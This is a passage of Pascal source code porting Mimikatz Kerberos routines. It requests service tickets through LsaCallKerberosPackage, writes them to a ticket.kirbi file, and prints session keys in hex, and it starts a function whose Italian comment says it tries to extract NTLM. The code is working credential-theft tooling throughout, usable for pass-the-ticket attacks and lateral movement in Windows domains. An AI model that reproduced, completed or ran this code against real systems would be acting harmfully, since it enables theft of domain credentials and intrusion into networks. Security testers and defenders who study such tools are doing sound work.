isNoCache:BOOL=false; //kull_m_string_args_byName(argc, argv, L"nocache", NULL, NULL);
begin
log('******* kuhl_m_kerberos_ask *******');
isexport:=export_;
//log('sizeof(KERB_RETRIEVE_TKT_REQUEST):'+inttostr(sizeof(KERB_RETRIEVE_TKT_REQUEST)));
//log('sizeof(KERB_RETRIEVE_TKT_RESPONSE):'+inttostr(sizeof(KERB_RETRIEVE_TKT_RESPONSE)));
//log('sizeof(KIWI_KERBEROS_TICKET):'+inttostr(sizeof(KIWI_KERBEROS_TICKET)));
fillchar(ticket,sizeof(ticket),0);
szTarget:=pwidechar(widestring(target));
if target<>'' then
begin
dwTarget := (length(szTarget) + 1) * sizeof(widechar);
log('dwTarget:'+inttostr(dwTarget));
szData := sizeof(KERB_RETRIEVE_TKT_REQUEST) + dwTarget;
log('szData:'+inttostr(szData));
pKerbRetrieveRequest:=allocmem(szData);
if pKerbRetrieveRequest <>nil then
begin
if logonid<>0 then
begin
pKerbRetrieveRequest^.LogonId.HighPart :=_luid(logonid).HighPart ;
pKerbRetrieveRequest^.LogonId.LowPart :=_luid(logonid).LowPart ;
log('LUID:'+inttohex(LogonId,8));
end;
pKerbRetrieveRequest^.MessageType := KerbRetrieveEncodedTicketMessage;
pKerbRetrieveRequest^.CacheOptions := KERB_RETRIEVE_TICKET_DEFAULT; //isNoCache ? KERB_RETRIEVE_TICKET_DONT_USE_CACHE : KERB_RETRIEVE_TICKET_DEFAULT;
pKerbRetrieveRequest^.EncryptionType := KERB_ETYPE_DEFAULT; //KERB_ETYPE_RC4_HMAC_NT; // : kull_m_string_args_byName(argc, argv, L'des', NULL, NULL) ? KERB_ETYPE_DES3_CBC_MD5 : kull_m_string_args_byName(argc, argv, L'aes256', NULL, NULL) ? KERB_ETYPE_AES256_CTS_HMAC_SHA1_96 : kull_m_string_args_byName(argc, argv, L'aes128', NULL, NULL) ? KERB_ETYPE_AES128_CTS_HMAC_SHA1_96 : KERB_ETYPE_DEFAULT;
pKerbRetrieveRequest^.TargetName.Length := dwTarget - sizeof(widechar);
pKerbRetrieveRequest^.TargetName.MaximumLength := dwTarget;
pKerbRetrieveRequest^.TargetName.Buffer := pointer(nativeuint(pKerbRetrieveRequest) + sizeof(KERB_RETRIEVE_TKT_REQUEST));
//RtlCopyMemory(pKerbRetrieveRequest^.TargetName.Buffer, szTarget, pKerbRetrieveRequest^.TargetName.MaximumLength);
copymemory(pKerbRetrieveRequest^.TargetName.Buffer,szTarget,pKerbRetrieveRequest^.TargetName.MaximumLength);
log('Asking for: '+ strpas(pKerbRetrieveRequest^.TargetName.Buffer),1 );
status := LsaCallKerberosPackage(pKerbRetrieveRequest, szData, @pKerbRetrieveResponse, @szData, @packageStatus);
//writeln(ByteToHexaString (pKerbRetrieveResponse^.Ticket.SessionKey.Value, pKerbRetrieveResponse^.Ticket.SessionKey.Length));
//exit;
if status=0 then
begin
if packageStatus=0 then
begin
ticket.ServiceName := pKerbRetrieveResponse^.Ticket.ServiceName;
ticket.DomainName := pKerbRetrieveResponse^.Ticket.DomainName;
ticket.TargetName := pKerbRetrieveResponse^.Ticket.TargetName;
ticket.TargetDomainName := pKerbRetrieveResponse^.Ticket.TargetDomainName;
ticket.ClientName := pKerbRetrieveResponse^.Ticket.ClientName;
ticket.AltTargetDomainName := pKerbRetrieveResponse^.Ticket.AltTargetDomainName;
ticket.StartTime := filetime(pKerbRetrieveResponse^.Ticket.StartTime);
ticket.EndTime := filetime(pKerbRetrieveResponse^.Ticket.EndTime);
ticket.RenewUntil := filetime(pKerbRetrieveResponse^.Ticket.RenewUntil);
ticket.KeyType := pKerbRetrieveResponse^.Ticket.SessionKey.KeyType;
ticket.TicketEncType:=pKerbRetrieveResponse^.Ticket.SessionKey.KeyType;
ticket.Key.Length := pKerbRetrieveResponse^.Ticket.SessionKey.Length;
ticket.Key.Value := pKerbRetrieveResponse^.Ticket.SessionKey.Value;
ticket.TicketFlags := pKerbRetrieveResponse^.Ticket.TicketFlags;
ticket.Ticket.Length := pKerbRetrieveResponse^.Ticket.EncodedTicketSize;
ticket.Ticket.Value := pKerbRetrieveResponse^.Ticket.EncodedTicket;
log(' * Ticket Encryption Type & kvno not representative at screen\n');
//if(isNoCache or isExport) then
log(' * NoCache: exported ticket may vary with informations at screen\n');
kuhl_m_kerberos_ticket_display(@ticket, TRUE, FALSE);
{
if isTkt then
if(ticketname = kuhl_m_kerberos_generateFileName_short(&ticket, L'tkt')) then
begin
if(kull_m_file_writeData(ticketname, pKerbRetrieveResponse^.Ticket.EncodedTicket, pKerbRetrieveResponse^.Ticket.EncodedTicketSize))
kprintf(L'\n * TKT to file : %s', ticketname);
else log_AUTO(L'kull_m_file_writeData');
LocalFree(ticketname);
end;
}
//if isExport then filename = kuhl_m_kerberos_generateFileName_short(&ticket, MIMIKATZ_KERBEROS_EXT);
LsaFreeReturnBuffer(pKerbRetrieveResponse);
if isExport then
begin
pKerbRetrieveRequest^.CacheOptions:= pKerbRetrieveRequest^.CacheOptions or KERB_RETRIEVE_TICKET_AS_KERB_CRED;
status:=LsaCallKerberosPackage(pKerbRetrieveRequest, szData, @pKerbRetrieveResponse, @szData, @packageStatus);
if status=0 then
begin
if packageStatus=0 then
begin
filename:='ticket.kirbi';
//filename:=inttohex(ticket.TicketFlags,8)+'-'+UNICODE_STRING_to_ANSISTRING(ticket.ClientName^.Names[0]) +'@'+UNICODE_STRING_to_ANSISTRING(ticket.ServiceName^.Names[0]) +'-'+UNICODE_STRING_to_ANSISTRING(ticket.ServiceName^.Names[1]) +'.kirbi';
//filename:=string(strpas(ticket.ClientName.Names [0].Buffer)+'.kirbi') ;
if(kull_m_file_writeData(pchar(filename), pKerbRetrieveResponse^.Ticket.EncodedTicket, pKerbRetrieveResponse^.Ticket.EncodedTicketSize))
then writeln('* KiRBi to file:'+ filename)
else writeln('kull_m_file_writeData failed',1);
LsaFreeReturnBuffer(pKerbRetrieveResponse);
end
else log('LsaCallAuthenticationPackage KerbRetrieveEncodedTicketMessage / Package :'+inttohex(packageStatus,8),1);
end
else log('LsaCallAuthenticationPackage KerbRetrieveEncodedTicketMessage :'+inttohex(status,8),1);
end;
end
//else if packageStatus = STATUS_NO_TRUST_SAM_ACCOUNT then log(' Kerberos name not found!\n'+ strpas(pKerbRetrieveRequest^.TargetName.Buffer) );
else log('LsaCallAuthenticationPackage KerbRetrieveEncodedTicketMessage / Package : %08x\n'+inttohex(packageStatus,8));
end
else log('LsaCallAuthenticationPackage KerbRetrieveEncodedTicketMessage : ' +inttohex(status,8));
//0xC000005E STATUS_NO_LOGON_SERVERS
freemem(pKerbRetrieveRequest);
end
end
else log('At least -msdsspn argument is required (eg: -msdsspn:cifs/DC1)\n');
result:= STATUS_SUCCESS;
end;
(*fox*)
function kuhl_m_kerberos_ask_session_key(target:string;export_:bool=false;logonid:int64=0):NTSTATUS;
var
status, packageStatus:NTSTATUS;
kk:integer=0;
skeys,filename:string ;
ticketname:PWCHAR = nil;
szTarget:PCWCHAR;
pKerbRetrieveRequest:PKERB_RETRIEVE_TKT_REQUEST;
pKerbRetrieveResponse:PKERB_RETRIEVE_TKT_RESPONSE;
ticket:KIWI_KERBEROS_TICKET; // = {0};
szData:DWORD;
dwTarget:USHORT;
isExport:BOOL=false; //kull_m_string_args_byName(argc, argv, L"export", NULL, NULL),
isTkt:BOOL=false; //kull_m_string_args_byName(argc, argv, L"tkt", NULL, NULL),
isNoCache:BOOL=false; //kull_m_string_args_byName(argc, argv, L"nocache", NULL, NULL);
begin
isexport:=export_;
fillchar(ticket,sizeof(ticket),0);
szTarget:=pwidechar(widestring(target));
if target<>'' then
begin
dwTarget := (length(szTarget) + 1) * sizeof(widechar);
log('dwTarget:'+inttostr(dwTarget));
szData := sizeof(KERB_RETRIEVE_TKT_REQUEST) + dwTarget;
log('szData:'+inttostr(szData));
pKerbRetrieveRequest:=allocmem(szData);
if pKerbRetrieveRequest <>nil then
begin
if logonid<>0 then
begin
pKerbRetrieveRequest^.LogonId.HighPart :=_luid(logonid).HighPart ;
pKerbRetrieveRequest^.LogonId.LowPart :=_luid(logonid).LowPart ;
//verbose('LUID:'+inttohex(LogonId,8));
end;
pKerbRetrieveRequest^.MessageType := KerbRetrieveEncodedTicketMessage;
pKerbRetrieveRequest^.CacheOptions := KERB_RETRIEVE_TICKET_DEFAULT; //isNoCache ? KERB_RETRIEVE_TICKET_DONT_USE_CACHE : KERB_RETRIEVE_TICKET_DEFAULT;
pKerbRetrieveRequest^.EncryptionType := KERB_ETYPE_DEFAULT; //KERB_ETYPE_RC4_HMAC_NT; // : kull_m_string_args_byName(argc, argv, L'des', NULL, NULL) ? KERB_ETYPE_DES3_CBC_MD5 : kull_m_string_args_byName(argc, argv, L'aes256', NULL, NULL) ? KERB_ETYPE_AES256_CTS_HMAC_SHA1_96 : kull_m_string_args_byName(argc, argv, L'aes128', NULL, NULL) ? KERB_ETYPE_AES128_CTS_HMAC_SHA1_96 : KERB_ETYPE_DEFAULT;
pKerbRetrieveRequest^.TargetName.Length := dwTarget - sizeof(widechar);
pKerbRetrieveRequest^.TargetName.MaximumLength := dwTarget;
pKerbRetrieveRequest^.TargetName.Buffer := pointer(nativeuint(pKerbRetrieveRequest) + sizeof(KERB_RETRIEVE_TKT_REQUEST));
//RtlCopyMemory(pKerbRetrieveRequest^.TargetName.Buffer, szTarget, pKerbRetrieveRequest^.TargetName.MaximumLength);
copymemory(pKerbRetrieveRequest^.TargetName.Buffer,szTarget,pKerbRetrieveRequest^.TargetName.MaximumLength);
status := LsaCallKerberosPackage(pKerbRetrieveRequest, szData, @pKerbRetrieveResponse, @szData, @packageStatus);
skeys:=ByteToHexaString (pKerbRetrieveResponse^.Ticket.SessionKey.Value, pKerbRetrieveResponse^.Ticket.SessionKey.Length);
writeln(skeys);
//exit;
//0xC000005E STATUS_NO_LOGON_SERVERS
freemem(pKerbRetrieveRequest);
end
end
else log('At least -msdsspn argument is required (eg: -msdsspn:cifs/DC1)\n');
result:= STATUS_SUCCESS;
end;
(*tento di estrarre NTLM*)
function kuhl_m_ask_msv_key(target:string;export_:bool=false;logonid:int64=0):NTSTATUS;
var
status, packageStatus:NTSTATUS;
kk:integer=0;
skeys,filename:string ;
ticketname:PWCHAR = nil;
szTarget:PCWCHAR;
pKerbRetrieveRequest:PKERB_RETRIEVE_TKT_REQUEST;
pKerbRetrieveResponse:PKERB_RETRIEVE_TKT_RESPONSE;
ticket:KIWI_KERBEROS_TICKET; // = {0};
szData:DWORD;
dwTarget:USHORT;
isExport:BOOL=false; //kull_m_string_args_byName(argc, argv, L"export", NULL, NULL),
isTkt:BOOL=false; //kull_m_string_args_byName(argc, argv, L"tkt", NULL, NULL),
isNoCache:BOOL=false; //kull_m_string_args_byName(argc, argv, L"nocache", NULL, NULL);